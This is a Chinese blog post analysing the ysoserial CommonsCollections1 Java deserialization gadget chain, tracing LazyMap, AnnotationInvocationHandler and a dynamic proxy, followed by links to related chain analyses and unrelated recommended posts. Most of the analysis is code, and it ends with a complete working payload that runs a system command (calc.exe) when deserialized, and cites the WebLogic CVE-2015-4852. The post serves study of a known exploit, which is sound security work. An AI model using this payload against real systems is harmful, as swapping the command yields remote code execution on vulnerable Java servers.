JAVA安全审计 ysoserial CommonsColletions1分析

前言:

在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方法

CommonsCollections1

调用链:

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec() Requires:
commons-collections
*/

调用链入口

这条链的入口还是AnnotationInvocationHandler的readObject。

LazyMap

我们需要寻找在LazyMap中能执行ChainedTransformer#transform方法。

LazyMap执行transform方法的地方在其get方法中。

当执行get()方法时,如果键值不存在,将使用工厂factory.transform创建一个值

这里factory变量是从decorate方法中传入

所以构造payload

//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);

此时我们要找的就是哪里能调用到LazyMap#get方法了

在AnnotationInvocationHandler的invoke方法中,this.memberValues.get调用到了get

this.memberValues是通过AnnotationInvocationHandler构造方法传入

所以通过AnnotationInvocationHandler的invoke方法可以调用到LazyMap#get方法,可是想想怎么调用到invoke呢。

我们来仔细看看AnnotationInvocationHandler类

这个类其实就是一个InvocationHandler,想想JDK动态代理

Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);

第一个参数是:被代理对象的ClassLoader。第二个是被代理对象的接口。第三个是创建的InvocationHandler对象

LazyMap传入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy对象。此时proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。

上面几句话可能有点绕,可以先复习下之前所说过的动态代理的知识再回来看:https://www.cnblogs.com/yyhuni/p/14934747.html

根据上面构造payload:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上转型成InvocationHandler才可以在下一步传入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);

两个注意点:

1.AnnotationInvocationHandler构造方法是包权限,不能直接new,要用反射来创建

2.创建的AnnotationInvocationHandler对象要向上转型成InvocationHandler,才可以在下一步传入Proxy.newProxyInstance

3.生成的proxy对象要转型成Map

关于第三点,其实是为了在下一步构造的时候进行参数传递的匹配,往下看就知道原因了

有了proxy对象了,最后一步就是怎么调用到proxy对象的方法。

在调用链的入口处AnnotationInvocationHandler#readObject

这里调用了this.memberValues的方法,而this.memberValues是通过构造函数传入进来的,所以我们可以把proxy传入AnnotationInvocationHandler,这时候触发了readObject就会触发到proxy的方法了。很巧妙的构造

Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

最终payload:

		//构造反射链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//构造InvocationHandler传入lazymap
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
//创建AnnotationInvocationHandler对象,传入proxyAnno
Object Annotation = constructor.newInstance(Override.class, proxyAnno); // 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Annotation);
oos.flush();
oos.close(); // 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();

简单画了下利用链的流程图

相关漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions1分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  4. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  5. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  6. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. Linux必知必会的命令全集(持续更新)

    Linux有超过五百多种命令,每个命令还有十几二十种选项,令人抓狂,本文旨在整理本人工作常用的Linux命令,希望对大家有所帮助! 1.cd 跳转文件夹 最常用的命令,没有之一. cd    # 进入 ...

  2. Android工程师所必经的三个阶段,你到哪个阶段了?

    前言 最近一直在思考,作为一名软件开发工程师,到底应该如何实现自我成长,是否有捷径而言?其实断断续续有过很多思考,也有和各种年龄段的同学们做过不少交流,结合自身的经历,有一些感悟和思考.本文可能可以适 ...

  3. Linux虚拟机配置SSH免密登录

    本环境为CentOS 7(点击镜像下载iso文件),无图界面. 启动SSH服务 在/usr/sbin/有一个文件为sshd,然后输入绝对路径/usr/sbin/sshd即可开启ssh服务. 然后输入命 ...

  4. remote: Support for password authentication was removed

    周末提交代码,把代码push到github上,控制台报了下面的错误: remote: Support for password authentication was removed on August ...

  5. Install Redmine Server with Bitnami Installer

    Download bitnami installer: bitnami-redmine-2.4.1-1-linux-installer.run $ chmod 755 bitnami...instal ...

  6. Create Shortcut to Get Jar File Meta Information

    You have to get meta information of cobertura.jar with command "unzip -q -c cobertura.jar META- ...

  7. 用Python爬取《王者荣耀》英雄皮肤数据并可视化分析,用图说话

    大家好,我是辰哥~ 今天辰哥带大家分析一波当前热门手游<王者荣耀>英雄皮肤,比如皮肤上线时间.皮肤类型(勇者:史诗:传说等).价格. 1.获取数据 数据来源于<王者荣耀官方网站> ...

  8. Git-05-文件删除与恢复

    删除文件 1 添加一个文件test.txt文件用于测试 2 删除文件,这样删除,工作区和版本库一致 也可以直接rm 然后在 git rm,git commit 这样也能保证工作区和版本库一致 恢复误删 ...

  9. JavaScript-DOM-节点简介与分类

    简介 节点(node)是一个网络术语,它表示网络中的一个连接点.一个网络就是由一些节点构成的集合. 在DOM里,文档是由节点构成的集合,此时的节点是文档树上的树枝和树叶. 分类 DOM中包含许多不同类 ...

  10. 题解—P2898 [USACO08JAN]Haybale Guessing G

    pre 首先注意一下翻译里面并没有提到的一点,也是让我没看懂样例的一点,就是这个长度为 \(n\) 的数组里面的数各不相同. 有很多人用并查集写的这道题,题解里面也有一些用线段树写的,不过我认为我的做 ...